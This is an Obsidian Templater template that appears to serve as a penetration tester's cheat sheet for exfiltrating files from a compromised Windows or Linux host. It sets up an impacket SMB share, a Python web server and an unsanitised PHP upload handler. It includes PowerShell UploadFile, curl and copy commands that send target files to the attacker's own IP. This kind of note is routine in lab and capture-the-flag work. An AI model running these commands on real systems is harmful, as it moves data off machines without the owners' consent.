<%-* let os = String(tp.frontmatter.OS).toLowerCase() -%>
smbserver.py <name_of_share> <path/on/local/machine> -username kali -password kali -smb2support
smbserver.py pwn <path/on/local/machine> -smb2support
<%* if (os === 'windows') { -%>
copy <local file> \\<% tp.frontmatter.my_ip %>\pwn\<file>
<%-* } %>
python -m http.server 80
python -m http.server 80 --directory <path>
Make sure /var/www/uploads
exists
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
<%-* if (os === 'windows') { -%>
powershell (New-Object System.Net.WebClient).UploadFile('http://<% tp.frontmatter.my_ip %>', '<file>')
<%-* } else { -%>
curl -F 'file=@<path_to_file>' http://<% tp.frontmatter.my_ip %>
<%-* } %> <%* if (os== 'linux') { -%> <% tp.file.include("[[Templates/Linux]]") %> <%-* } else if (os == 'windows') { -%> <% tp.file.include("[[Templates/Windows]]") %> <%-} else { %> <% os %> not valid <%-}-%>